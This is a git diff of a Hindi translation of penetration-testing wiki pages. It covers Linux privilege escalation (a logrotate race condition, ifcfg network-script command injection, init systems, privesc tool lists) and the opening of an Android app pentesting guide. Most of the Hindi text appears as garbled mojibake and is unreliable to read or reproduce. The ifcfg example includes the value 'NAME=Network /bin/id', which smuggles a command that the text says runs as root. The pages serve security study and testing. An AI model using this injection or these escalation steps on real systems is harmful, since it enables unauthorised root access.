`logrotate` рд╕рдВрд╕реНрдХрд░рдг `3.18.0` рдФрд░ рдЙрд╕рд╕реЗ рдкреБрд░рд╛рдиреЗ рдХреЛ рдкреНрд░рднрд╛рд╡рд┐рдд рдХрд░рддрд╛ рд╣реИ +> рдпрд╣ рдХрдордЬреЛрд░реА `logrotate` version `3.18.0` рдФрд░ рдкреБрд░рд╛рдиреЗ рд╡рд░реНрд╢рди рдХреЛ рдкреНрд░рднрд╛рд╡рд┐рдд рдХрд░рддреА рд╣реИ -рд╡ulnerability рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдФрд░ рд╡рд┐рд╕реНрддреГрдд рдЬрд╛рдирдХрд╛рд░реА рдЗрд╕ рдкреГрд╖реНрда рдкрд░ рдорд┐рд▓ рд╕рдХрддреА рд╣реИ: [https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition](https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition). +рдЗрд╕ рдХрдордЬреЛрд░реА рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдЕрдзрд┐рдХ рд╡рд┐рд╕реНрддреГрдд рдЬрд╛рдирдХрд╛рд░реА рдЗрд╕ рдкреЗрдЬ рдкрд░ рдкрд╛рдИ рдЬрд╛ рд╕рдХрддреА рд╣реИ: [https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition](https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition). -рдЖрдк рдЗрд╕ vulnerability рдХрд╛ рд╢реЛрд╖рдг [**logrotten**](https://github.com/whotwagner/logrotten) рдХреЗ рд╕рд╛рде рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред +рдЖрдк рдЗрд╕ рдХрдордЬреЛрд░реА рдХрд╛ рдЙрдкрдпреЛрдЧ [**logrotten**](https://github.com/whotwagner/logrotten) рдХреЗ рд╕рд╛рде рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред -рдпрд╣ рд╕реБрд░рдХреНрд╖рд╛ рджреЛрд╖ [**CVE-2016-1247**](https://www.cvedetails.com/cve/CVE-2016-1247/) (nginx logs) рдХреЗ рдмрд╣реБрдд рд╕рдорд╛рди рд╣реИ, рдЗрд╕рд▓рд┐рдП рдЬрдм рднреА рдЖрдк рдкрд╛рддреЗ рд╣реИрдВ рдХрд┐ рдЖрдк рд▓реЙрдЧреНрд╕ рдореЗрдВ рдкрд░рд┐рд╡рд░реНрддрди рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ, рдпрд╣ рдЬрд╛рдВрдЪреЗрдВ рдХрд┐ рдХреМрди рдЙрди рд▓реЙрдЧреНрд╕ рдХрд╛ рдкреНрд░рдмрдВрдзрди рдХрд░ рд░рд╣рд╛ рд╣реИ рдФрд░ рджреЗрдЦреЗрдВ рдХрд┐ рдХреНрдпрд╛ рдЖрдк рд▓реЙрдЧреНрд╕ рдХреЛ symlinks рджреНрд╡рд╛рд░рд╛ рдмрджрд▓рдХрд░ privileges рдмрдврд╝рд╛ рд╕рдХрддреЗ рд╣реИрдВред +рдпрд╣ рдХрдордЬреЛрд░реА [**CVE-2016-1247**](https://www.cvedetails.com/cve/CVE-2016-1247/) **(nginx logs),** рдХреЗ рдмрд╣реБрдд рд╕рдорд╛рди рд╣реИ, рдЗрд╕рд▓рд┐рдП рдЬрдм рднреА рдЖрдкрдХреЛ рдпрд╣ рдорд┐рд▓реЗ рдХрд┐ рдЖрдк logs рдХреЛ рдмрджрд▓ рд╕рдХрддреЗ рд╣реИрдВ, рддреЛ рдпрд╣ рдЬрд╛рдБрдЪреЗрдВ рдХрд┐ рдХреМрди рдЙрди logs рдХрд╛ рдкреНрд░рдмрдВрдзрди рдХрд░ рд░рд╣рд╛ рд╣реИ рдФрд░ рджреЗрдЦреЗрдВ рдХрд┐ рдХреНрдпрд╛ рдЖрдк logs рдХреЛ symlinks рд╕реЗ рдмрджрд▓рдХрд░ privileges escalate рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред ### /etc/sysconfig/network-scripts/ (Centos/Redhat) **Vulnerability reference:** [**https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure\&qid=e026a0c5f83df4fd532442e1324ffa4f**](https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure&qid=e026a0c5f83df4fd532442e1324ffa4f) -рдпрджрд┐, рдХрд┐рд╕реА рднреА рдХрд╛рд░рдг рд╕реЗ, рдХреЛрдИ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ _/etc/sysconfig/network-scripts_ рдореЗрдВ `ifcf-` рд╕реНрдХреНрд░рд┐рдкреНрдЯ **write** рдХрд░рдиреЗ рдореЗрдВ рд╕рдХреНрд╖рдо рд╣реИ **рдпрд╛** рд╡рд╣ рдХрд┐рд╕реА рдореМрдЬреВрджрд╛ рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдХреЛ **adjust** рдХрд░ рд╕рдХрддрд╛ рд╣реИ, рддреЛ рдЖрдкрдХрд╛ **system is pwned**ред +рдпрджрд┐ рдХрд┐рд╕реА рднреА рд╡рдЬрд╣ рд╕реЗ рдХреЛрдИ user _/etc/sysconfig/network-scripts_ рдореЗрдВ `ifcf-` рд╕реНрдХреНрд░рд┐рдкреНрдЯ **рд▓рд┐рдЦ** рд╕рдХреЗ рдпрд╛ рдХрд┐рд╕реА рдореМрдЬреВрджрд╛ рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдХреЛ **рд╕рдорд╛рдпреЛрдЬрд┐рдд** рдХрд░ рд╕рдХреЗ, рддреЛ рдЖрдкрдХрд╛ **system pwned** рд╣реЛ рдЬрд╛рддрд╛ рд╣реИред -Network scripts, _ifcg-eth0_ рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП network connections рдХреЗ рд▓рд┐рдП рдЙрдкрдпреЛрдЧ рдХрд┐рдП рдЬрд╛рддреЗ рд╣реИрдВред рд╡реЗ рдмрд┐рд▓реНрдХреБрд▓ .INI files рдХреА рддрд░рд╣ рджрд┐рдЦрддреЗ рд╣реИрдВред рд╣рд╛рд▓рд╛рдВрдХрд┐, Linux рдкрд░ Network Manager (dispatcher.d) рджреНрд╡рд╛рд░рд╛ рдЙрдиреНрд╣реЗрдВ \~sourced\~ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред +Network scripts, _ifcg-eth0_ рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП рдиреЗрдЯрд╡рд░реНрдХ рдХрдиреЗрдХреНрд╢рдиреЛрдВ рдХреЗ рд▓рд┐рдП рдЙрдкрдпреЛрдЧ рд╣реЛрддреЗ рд╣реИрдВред рд╡реЗ рдмрд┐рд▓реНрдХреБрд▓ .INI рдлрд╝рд╛рдЗрд▓реЛрдВ рдЬреИрд╕реЗ рджрд┐рдЦрддреЗ рд╣реИрдВред рд╣рд╛рд▓рд╛рдБрдХрд┐, рдЗрдиреНрд╣реЗрдВ Linux рдкрд░ Network Manager (dispatcher.d) рджреНрд╡рд╛рд░рд╛ ~sourced~ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред -рдореЗрд░реЗ рдорд╛рдорд▓реЗ рдореЗрдВ, рдЗрди рдиреЗрдЯрд╡рд░реНрдХ рд╕реНрдХреНрд░рд┐рдкреНрдЯреНрд╕ рдореЗрдВ `NAME=` attribute рдареАрдХ рд╕реЗ рд╣реИрдВрдбрд▓ рдирд╣реАрдВ рд╣реЛрддрд╛ред рдпрджрд┐ рдирд╛рдо рдореЗрдВ **white/blank space in the name the system tries to execute the part after the white/blank space** рд╣реЛрддрд╛ рд╣реИ рддреЛ рд╕рд┐рд╕реНрдЯрдо white/blank space рдХреЗ рдмрд╛рдж рдХреЗ рд╣рд┐рд╕реНрд╕реЗ рдХреЛ execute рдХрд░рдиреЗ рдХреА рдХреЛрд╢рд┐рд╢ рдХрд░рддрд╛ рд╣реИред рдЗрд╕рдХрд╛ рдорддрд▓рдм рдпрд╣ рд╣реИ рдХрд┐ **everything after the first blank space is executed as root**ред +рдореЗрд░реЗ рдорд╛рдорд▓реЗ рдореЗрдВ, рдЗрди network рд╕реНрдХреНрд░рд┐рдкреНрдЯреНрд╕ рдореЗрдВ `NAME=` attribute рдареАрдХ рд╕реЗ рд╣реИрдВрдбрд▓ рдирд╣реАрдВ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ред рдпрджрд┐ рдирд╛рдо рдореЗрдВ **white/blank space** рд╣реИ рддреЛ рд╕рд┐рд╕реНрдЯрдо рдЙрд╕ white/blank space рдХреЗ рдмрд╛рдж рд╡рд╛рд▓реЗ рднрд╛рдЧ рдХреЛ execute рдХрд░рдиреЗ рдХреА рдХреЛрд╢рд┐рд╢ рдХрд░рддрд╛ рд╣реИред рдЗрд╕рдХрд╛ рдорддрд▓рдм рд╣реИ рдХрд┐ **рдкрд╣рд▓реА blank space рдХреЗ рдмрд╛рдж рд╕рдм рдХреБрдЫ root рдХреЗ рд░реВрдк рдореЗрдВ executed рд╣реЛрдЧрд╛**ред рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП: _/etc/sysconfig/network-scripts/ifcfg-1337_ ```bash @@ -1413,17 +1413,17 @@ NAME=Network /bin/id ONBOOT=yes DEVICE=eth0 ``` -(_Network рдФрд░ /bin/id рдХреЗ рдмреАрдЪ рд░рд┐рдХреНрдд рд╕реНрдерд╛рди рдкрд░ рдзреНрдпрд╛рди рджреЗрдВ_) +(_рдиреЛрдЯ: Network рдФрд░ /bin/id_ рдХреЗ рдмреАрдЪ рдЦрд╛рд▓реА рдЬрдЧрд╣ рдкрд░ рдзреНрдпрд╛рди рджреЗрдВ_) -### **init, init.d, systemd, рдФрд░ rc.d** +### **init, init.d, systemd, and rc.d** -рдбрд╛рдпрд░реЗрдХреНрдЯрд░реА `/etc/init.d` System V init (SysVinit) рдХреЗ рд▓рд┐рдП **scripts** рдХреА рдЬрдЧрд╣ рд╣реИ, рдЬреЛ **рдХреНрд▓рд╛рд╕рд┐рдХ Linux рд╕реЗрд╡рд╛ рдкреНрд░рдмрдВрдзрди рдкреНрд░рдгрд╛рд▓реА** рд╣реИред рдЗрд╕рдореЗрдВ рд╕реЗрд╡рд╛рдУрдВ рдХреЛ `start`, `stop`, `restart`,` рдФрд░ рдХрднреА-рдХрднреА `reload` рдХрд░рдиреЗ рд╡рд╛рд▓реЗ scripts рд╢рд╛рдорд┐рд▓ рд╣реЛрддреЗ рд╣реИрдВред рдЗрдиреНрд╣реЗрдВ рд╕реАрдзреЗ рдЪрд▓рд╛рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ рдпрд╛ `/etc/rc?.d/` рдореЗрдВ рдкрд╛рдП рдЬрд╛рдиреЗ рд╡рд╛рд▓реЗ symbolic links рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗред Redhat рд╕рд┐рд╕реНрдЯрдореНрд╕ рдореЗрдВ рд╡реИрдХрд▓реНрдкрд┐рдХ рдкрде `/etc/rc.d/init.d` рд╣реИред +рдбрд╛рдпрд░реЗрдХреНрдЯрд░реА `/etc/init.d` System V init (SysVinit) рдХреЗ рд▓рд┐рдП рд╕реНрдХреНрд░рд┐рдкреНрдЯреНрд╕ рдХрд╛ рдШрд░ рд╣реИ, рдЬреЛ рдХреНрд▓рд╛рд╕рд┐рдХ Linux рд╕реЗрд╡рд╛ рдкреНрд░рдмрдВрдзрди рдкреНрд░рдгрд╛рд▓реА рд╣реИред рдЗрд╕рдореЗрдВ рд╕реЗрд╡рд╛рдУрдВ рдХреЛ `start`, `stop`, `restart`, рдФрд░ рдХрднреА-рдХрднреА `reload` рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рд╕реНрдХреНрд░рд┐рдкреНрдЯреНрд╕ рд╢рд╛рдорд┐рд▓ рд╣реЛрддреЗ рд╣реИрдВред рдЗрдиреНрд╣реЗрдВ рд╕реАрдзреЗ рдпрд╛ `/etc/rc?.d/` рдореЗрдВ рдкрд╛рдП рдЬрд╛рдиреЗ рд╡рд╛рд▓реЗ symbolic links рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдЪрд▓рд╛рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред Redhat рд╕рд┐рд╕реНрдЯрдо рдореЗрдВ рд╡реИрдХрд▓реНрдкрд┐рдХ рдкрде `/etc/rc.d/init.d` рд╣реИред -рд╡рд╣реАрдВ, `/etc/init` рдХрд╛ рд╕рдВрдмрдВрдз **Upstart** рд╕реЗ рд╣реИ, рдЬреЛ Ubuntu рджреНрд╡рд╛рд░рд╛ рдкреЗрд╢ рдХреА рдЧрдИ рдПрдХ рдирдИ рд╕реЗрд╡рд╛ рдкреНрд░рдмрдВрдзрди рдкреНрд░рдгрд╛рд▓реА рд╣реИ рдФрд░ рд╕реЗрд╡рд╛ рдкреНрд░рдмрдВрдзрди рдХрд╛рд░реНрдпреЛрдВ рдХреЗ рд▓рд┐рдП configuration files рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддреА рд╣реИред Upstart рдореЗрдВ transition рдХреЗ рдмрд╛рд╡рдЬреВрдж, compatibility layer рдХреЗ рдХрд╛рд░рдг SysVinit scripts рдЕрднреА рднреА Upstart configurations рдХреЗ рд╕рд╛рде рдЙрдкрдпреЛрдЧ рдореЗрдВ рд░рд╣рддреА рд╣реИрдВред +рджреВрд╕рд░реА рдУрд░, `/etc/init` Upstart рд╕реЗ рдЬреБрдбрд╝рд╛ рд╣реИ, рдЬреЛ Ubuntu рджреНрд╡рд╛рд░рд╛ рдкреНрд░рд╕реНрддреБрдд рдПрдХ рдирдпрд╛ service management рд╣реИ рдФрд░ service management рдХрд╛рд░реНрдпреЛрдВ рдХреЗ рд▓рд┐рдП configuration рдлрд╛рдЗрд▓реЛрдВ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддрд╛ рд╣реИред Upstart рдкрд░ рд╕рдВрдХреНрд░рдордг рдХреЗ рдмрд╛рд╡рдЬреВрдж, Upstart рдХреА compatibility layer рдХреЗ рдХрд╛рд░рдг SysVinit рд╕реНрдХреНрд░рд┐рдкреНрдЯреНрд╕ рдЕрднреА рднреА Upstart рдХреЙрдиреНрдлрд╝рд┐рдЧрд░реЗрд╢рди рдХреЗ рд╕рд╛рде рдЙрдкрдпреЛрдЧ рдХрд┐рдП рдЬрд╛рддреЗ рд╣реИрдВред -**systemd** рдПрдХ рдЖрдзреБрдирд┐рдХ initialization рдФрд░ service manager рдХреЗ рд░реВрдк рдореЗрдВ рдЙрднрд░рддрд╛ рд╣реИ, рдЬреЛ on-demand daemon starting, automount management, рдФрд░ system state snapshots рдЬреИрд╕реЗ рдЙрдиреНрдирдд рдлреАрдЪрд░реНрд╕ рдкреНрд░рджрд╛рди рдХрд░рддрд╛ рд╣реИред рдпрд╣ рдлрд╛рдЗрд▓реЛрдВ рдХреЛ `/usr/lib/systemd/` (distribution packages рдХреЗ рд▓рд┐рдП) рдФрд░ `/etc/systemd/system/` (administrator modifications рдХреЗ рд▓рд┐рдП) рдореЗрдВ рд╡реНрдпрд╡рд╕реНрдерд┐рдд рдХрд░рддрд╛ рд╣реИ, рдЬрд┐рд╕рд╕реЗ system administration рдкреНрд░рдХреНрд░рд┐рдпрд╛ рд╕рд░рд▓ рд╣реЛ рдЬрд╛рддреА рд╣реИред +**systemd** рдПрдХ рдЖрдзреБрдирд┐рдХ initialization рдФрд░ service manager рдХреЗ рд░реВрдк рдореЗрдВ рдЙрднрд░рддрд╛ рд╣реИ, рдЬреЛ on-demand daemon starting, automount management, рдФрд░ system state snapshots рдЬреИрд╕реА рдЙрдиреНрдирдд рд╕реБрд╡рд┐рдзрд╛рдПрдБ рдкреНрд░рджрд╛рди рдХрд░рддрд╛ рд╣реИред рдпрд╣ рдлрд╝рд╛рдЗрд▓реЛрдВ рдХреЛ рдбрд┐рд╕реНрдЯреНрд░рд┐рдмреНрдпреВрд╢рди рдкреИрдХреЗрдЬреЛрдВ рдХреЗ рд▓рд┐рдП `/usr/lib/systemd/` рдФрд░ рдПрдбрдорд┐рдирд┐рд╕реНрдЯреНрд░реЗрдЯрд░ рд╕рдВрд╢реЛрдзрдиреЛрдВ рдХреЗ рд▓рд┐рдП `/etc/systemd/system/` рдореЗрдВ рд╡реНрдпрд╡рд╕реНрдерд┐рдд рдХрд░рддрд╛ рд╣реИ, рдЬрд┐рд╕рд╕реЗ рд╕рд┐рд╕реНрдЯрдо рдкреНрд░рд╢рд╛рд╕рди рдкреНрд░рдХреНрд░рд┐рдпрд╛ рд╕рд░рд▓ рд╣реЛрддреА рд╣реИред -## рдЕрдиреНрдп рдЯреНрд░рд┐рдХреНрд╕ +## рдЕрдиреНрдп рддрд░рдХреАрдмреЗрдВ ### NFS Privilege escalation @@ -1448,7 +1448,7 @@ cisco-vmanage.md ## Android rooting frameworks: manager-channel abuse -Android rooting frameworks рдЖрдо рддреМрд░ рдкрд░ privileged kernel functionality рдХреЛ userspace manager рдХреЛ рдПрдХреНрд╕рдкреЛрдЬрд╝ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд┐рд╕реА syscall рдХреЛ hook рдХрд░рддреЗ рд╣реИрдВред рдХрдордЬреЛрд░ manager authentication (рдЬреИрд╕реЗ FD-order рдкрд░ рдЖрдзрд╛рд░рд┐рдд signature checks рдпрд╛ рдХрдордЬреЛрд░ password schemes) рдПрдХ local app рдХреЛ manager рдХреЗ рд░реВрдк рдореЗрдВ impersonate рдХрд░рдиреЗ рдФрд░ рдкрд╣рд▓реЗ рд╕реЗ-rooted devices рдкрд░ root рддрдХ escalate рдХрд░рдиреЗ рдореЗрдВ рд╕рдХреНрд╖рдо рдмрдирд╛ рд╕рдХрддреА рд╣реИред рдФрд░ рдЕрдзрд┐рдХ рдЬрд╛рдирдХрд╛рд░реА рд╡ exploitation рд╡рд┐рд╡рд░рдг рдпрд╣рд╛рдБ рджреЗрдЦреЗрдВ: +Android rooting frameworks рдЖрдорддреМрд░ рдкрд░ privileged kernel functionality рдХреЛ userspace manager рдХреЛ рдПрдХреНрд╕рдкреЛрдЬрд╝ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдПрдХ syscall рдХреЛ hook рдХрд░рддреЗ рд╣реИрдВред рдХрдордЬреЛрд░ manager authentication (рдЙрджрд╛., FD-order рдкрд░ рдЖрдзрд╛рд░рд┐рдд signature checks рдпрд╛ рдХрдордЬреЛрд░ password schemes) рдПрдХ local app рдХреЛ manager рдХрд╛ impersonate рдХрд░рдиреЗ рдФрд░ рдкрд╣рд▓реЗ рд╕реЗ-rooted рдбрд┐рд╡рд╛рдЗрд╕реЗрдЬрд╝ рдкрд░ root рддрдХ escalate рдХрд░рдиреЗ рдореЗрдВ рд╕рдХреНрд╖рдо рдмрдирд╛ рд╕рдХрддреА рд╣реИред рдФрд░ exploitation рд╡рд┐рд╡рд░рдг рдпрд╣рд╛рдБ рдЬрд╛рдиреЗрдВ: {{#ref}} @@ -1460,13 +1460,13 @@ android-rooting-frameworks-manager-auth-bypass-syscall-hook.md - [https://github.com/a13xp0p0v/kconfig-hardened-check](https://github.com/a13xp0p0v/kconfig-hardened-check) - [https://github.com/a13xp0p0v/linux-kernel-defence-map](https://github.com/a13xp0p0v/linux-kernel-defence-map) -## рдФрд░ рдорджрдж +## рдЕрдзрд┐рдХ рдорджрдж [Static impacket binaries](https://github.com/ropnop/impacket_static_binaries) ## Linux/Unix Privesc Tools -### **Best tool to look for Linux local privilege escalation vectors:** [**LinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS) +### **Linux local privilege escalation vectors рдЦреЛрдЬрдиреЗ рдХреЗ рд▓рд┐рдП рд╕рдмрд╕реЗ рдЕрдЪреНрдЫрд╛ рдЯреВрд▓:** [**LinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS) **LinEnum**: [https://github.com/rebootuser/LinEnum](https://github.com/rebootuser/LinEnum)(-t option)\ **Enumy**: [https://github.com/luke-goddard/enumy](https://github.com/luke-goddard/enumy)\ @@ -1479,7 +1479,7 @@ android-rooting-frameworks-manager-auth-bypass-syscall-hook.md **EvilAbigail (physical access):** [https://github.com/GDSSecurity/EvilAbigail](https://github.com/GDSSecurity/EvilAbigail)\ **Recopilation of more scripts**: [https://github.com/1N3/PrivEsc](https://github.com/1N3/PrivEsc) -## References +## рд╕рдВрджрд░реНрдн - [https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/](https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/) - [https://payatu.com/guide-linux-privilege-escalation/](https://payatu.com/guide-linux-privilege-escalation/) diff --git a/src/mobile-pentesting/android-app-pentesting/README.md b/src/mobile-pentesting/android-app-pentesting/README.md index 6f63887ac..be0cad256 100644 --- a/src/mobile-pentesting/android-app-pentesting/README.md +++ b/src/mobile-pentesting/android-app-pentesting/README.md @@ -2,9 +2,9 @@ {{#include ../../banners/hacktricks-training.md}} -## Android Applications Basics +## Android Applications рдХреА рдореВрд▓ рдмрд╛рддреЗрдВ -рдпрд╣ рдкреЗрдЬ рдкрдврд╝рдирд╛ рдЕрддреНрдпрдзрд┐рдХ рдЕрдиреБрд╢рдВрд╕рд┐рдд рд╣реИ рддрд╛рдХрд┐ рдЖрдк **Android рд╕реБрд░рдХреНрд╖рд╛ рд╕реЗ рд╕рдВрдмрдВрдзрд┐рдд рд╕рдмрд╕реЗ рдорд╣рддреНрд╡рдкреВрд░реНрдг рднрд╛рдЧ рдФрд░ рдХрд┐рд╕реА Android application рдореЗрдВ рдореМрдЬреВрдж рд╕рдмрд╕реЗ рдЦрддрд░рдирд╛рдХ рдХрдВрдкреЛрдиреЗрдВрдЯреНрд╕** рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдЬрд╛рди рд╕рдХреЗрдВ: +рдпрд╣ рдкреГрд╖реНрда рдкрдврд╝рдирд╛ рдЕрддреНрдпрдзрд┐рдХ рдЕрдиреБрд╢рдВрд╕рд┐рдд рд╣реИ рддрд╛рдХрд┐ рдЖрдк **Android рд╕реБрд░рдХреНрд╖рд╛ рд╕реЗ рд╕рдВрдмрдВрдзрд┐рдд рд╕рдмрд╕реЗ рдорд╣рддреНрд╡рдкреВрд░реНрдг рд╣рд┐рд╕реНрд╕реЛрдВ рдФрд░ рдХрд┐рд╕реА Android рдПрдкреНрд▓рд┐рдХреЗрд╢рди рдореЗрдВ рд╕рдмрд╕реЗ рдЦрддрд░рдирд╛рдХ рдХрдореНрдкреЛрдиреЗрдВрдЯреНрд╕** рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдЬрд╛рди рд╕рдХреЗрдВ: {{#ref}} @@ -13,15 +13,15 @@ android-applications-basics.md ## ADB (Android Debug Bridge) -рдпрд╣ рдЙрд╕ рдореБрдЦреНрдп рдЙрдкрдХрд░рдг рд╣реИ рдЬрд┐рд╕рдХреА рдЖрдкрдХреЛ рдХрд┐рд╕реА Android device (emulated or physical) рд╕реЗ рдХрдиреЗрдХреНрдЯ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реЛрддреА рд╣реИ.\ -**ADB** рдЖрдкрдХреЛ рдХрдВрдкреНрдпреВрдЯрд░ рд╕реЗ **USB** рдпрд╛ **Network** рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдбрд┐рд╡рд╛рдЗрд╕ рдирд┐рдпрдВрддреНрд░рд┐рдд рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИред рдпрд╣ рдпреВрдЯрд┐рд▓рд┐рдЯреА рджреЛрдиреЛрдВ рджрд┐рд╢рд╛рдУрдВ рдореЗрдВ рдлрд╝рд╛рдЗрд▓реЛрдВ рдХреА **copying**, apps рдХреЗ **installation** рдФрд░ **uninstallation**, shell commands рдХрд╛ **execution**, рдбреЗрдЯрд╛ рдХрд╛ **backing up**, рд▓реЙрдЧреНрд╕ рдХрд╛ **reading**, рдФрд░ рдЕрдиреНрдп рдХрд╛рд░реНрдпреЛрдВ рдХреА рд╕реБрд╡рд┐рдзрд╛ рджреЗрддрд╛ рд╣реИред +рдпрд╣ рдЙрд╕ рдореБрдЦреНрдп рдЙрдкрдХрд░рдг рдореЗрдВ рд╕реЗ рд╣реИ рдЬрд┐рд╕рдХреА рдЖрдкрдХреЛ рдПрдХ android рдбрд┐рд╡рд╛рдЗрд╕ (emulated рдпрд╛ physical) рд╕реЗ рдХрдиреЗрдХреНрдЯ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реЛрддреА рд╣реИ.\ +**ADB** рдЖрдкрдХреЛ рдХрдВрдкреНрдпреВрдЯрд░ рд╕реЗ **USB** рдпрд╛ **Network** рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдбрд┐рд╡рд╛рдЗрд╕ рдирд┐рдпрдВрддреНрд░рд┐рдд рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИред рдпрд╣ utility рджреЛрдиреЛрдВ рджрд┐рд╢рд╛рдУрдВ рдореЗрдВ рдлрд╝рд╛рдЗрд▓реЛрдВ рдХреЗ **copying**, apps рдХреА **installation** рдФрд░ **uninstallation**, shell commands рдХрд╛ **execution**, рдбреЗрдЯрд╛ рдХрд╛ **backing up**, logs рдХрд╛ **reading**, рдФрд░ рдЕрдиреНрдп рдХрд╛рд░реНрдп рдХрд░рдиреЗ рдореЗрдВ рд╕рдХреНрд╖рдо рдмрдирд╛рддрд╛ рд╣реИред -ADB рдЙрдкрдпреЛрдЧ рдХрд░рдиреЗ рдХрд╛ рддрд░реАрдХрд╛ рдЬрд╛рдирдиреЗ рдХреЗ рд▓рд┐рдП рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рд╕реВрдЪреА [**ADB Commands**](adb-commands.md) рджреЗрдЦреЗрдВред +adb рдХрд╛ рдЙрдкрдпреЛрдЧ рдХреИрд╕реЗ рдХрд░рдирд╛ рд╣реИ рдпрд╣ рдЬрд╛рдирдиреЗ рдХреЗ рд▓рд┐рдП рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд [**ADB Commands**](adb-commands.md) рдХреА рд╕реВрдЪреА рджреЗрдЦреЗрдВред ## Smali -рдХрднреА-рдХрднреА рдпрд╣ рдЙрдкрдпреЛрдЧреА рд╣реЛрддрд╛ рд╣реИ рдХрд┐ рдЖрдк **application code рдХреЛ modify рдХрд░реЗрдВ** рддрд╛рдХрд┐ **hidden information** (рд╢рд╛рдпрдж рдЕрдЪреНрдЫреА рддрд░рд╣ obfuscated passwords рдпрд╛ flags) рддрдХ рдкрд╣реБрдБрдЪ рд╕рдХреЗрдВред рдлрд┐рд░, APK рдХреЛ decompile рдХрд░рдирд╛, рдХреЛрдб modify рдХрд░рдирд╛ рдФрд░ рдЙрд╕реЗ рдлрд┐рд░ рд╕реЗ recompile рдХрд░рдирд╛ рд░реЛрдЪрдХ рд╣реЛ рд╕рдХрддрд╛ рд╣реИ.\ -[**In this tutorial** you can **learn how to decompile and APK, modify Smali code and recompile the APK** with the new functionality](smali-changes.md). рдпрд╣ dynamic analysis рдХреЗ рджреМрд░рд╛рди рдХрд┐рдП рдЬрд╛рдиреЗ рд╡рд╛рд▓реЗ рдХрдИ рдкрд░реАрдХреНрд╖рдгреЛрдВ рдХреЗ рд▓рд┐рдП рдПрдХ **alternative for several tests during the dynamic analysis** рдХреЗ рд░реВрдк рдореЗрдВ рдмрд╣реБрдд рдЙрдкрдпреЛрдЧреА рд╣реЛ рд╕рдХрддрд╛ рд╣реИред рдЗрд╕рд▓рд┐рдП, рдЗрд╕ рд╕рдВрднрд╛рд╡рдирд╛ рдХреЛ **рд╣рдореЗрд╢рд╛ рдзреНрдпрд╛рди рдореЗрдВ рд░рдЦреЗрдВ**ред +рдХрднреА-рдХрднреА рдпрд╣ рдЙрдкрдпреЛрдЧреА рд╣реЛрддрд╛ рд╣реИ рдХрд┐ рдЖрдк **application code рдХреЛ modify** рдХрд░реЗрдВ рддрд╛рдХрд┐ рдЖрдк **hidden information** рддрдХ рдкрд╣реБрдБрдЪ рд╕рдХреЗрдВ (рд╢рд╛рдпрдж рдЕрдЪреНрдЫреА рддрд░рд╣ obfuscated passwords рдпрд╛ flags)ред рдРрд╕реА рд╕реНрдерд┐рддрд┐ рдореЗрдВ apk рдХреЛ decompile рдХрд░рдирд╛, рдХреЛрдб modify рдХрд░рдирд╛ рдФрд░ рдлрд┐рд░ рдЙрд╕реЗ recompile рдХрд░рдирд╛ рджрд┐рд▓рдЪрд╕реНрдк рд╣реЛ рд╕рдХрддрд╛ рд╣реИ.\ +[**In this tutorial** you can **learn how to decompile and APK, modify Smali code and recompile the APK** with the new functionality](smali-changes.md). рдпрд╣ dynamic analysis рдХреЗ рджреМрд░рд╛рди рдкреНрд░рд╕реНрддреБрдд рдХрд┐рдП рдЬрд╛рдиреЗ рд╡рд╛рд▓реЗ рдХрдИ tests рдХреЗ рд▓рд┐рдП рдПрдХ рд╡реИрдХрд▓реНрдкрд┐рдХ рддрд░реАрдХрд╛ рд╣реЛ рд╕рдХрддрд╛ рд╣реИред рдЗрд╕рд▓рд┐рдП, рд╣рдореЗрд╢рд╛ рдЗрд╕ рд╕рдВрднрд╛рд╡рдирд╛ рдХреЛ рдзреНрдпрд╛рди рдореЗрдВ рд░рдЦреЗрдВред ## Other interesting tricks @@ -30,7 +30,7 @@ ADB рдЙрдкрдпреЛрдЧ рдХрд░рдиреЗ рдХрд╛ 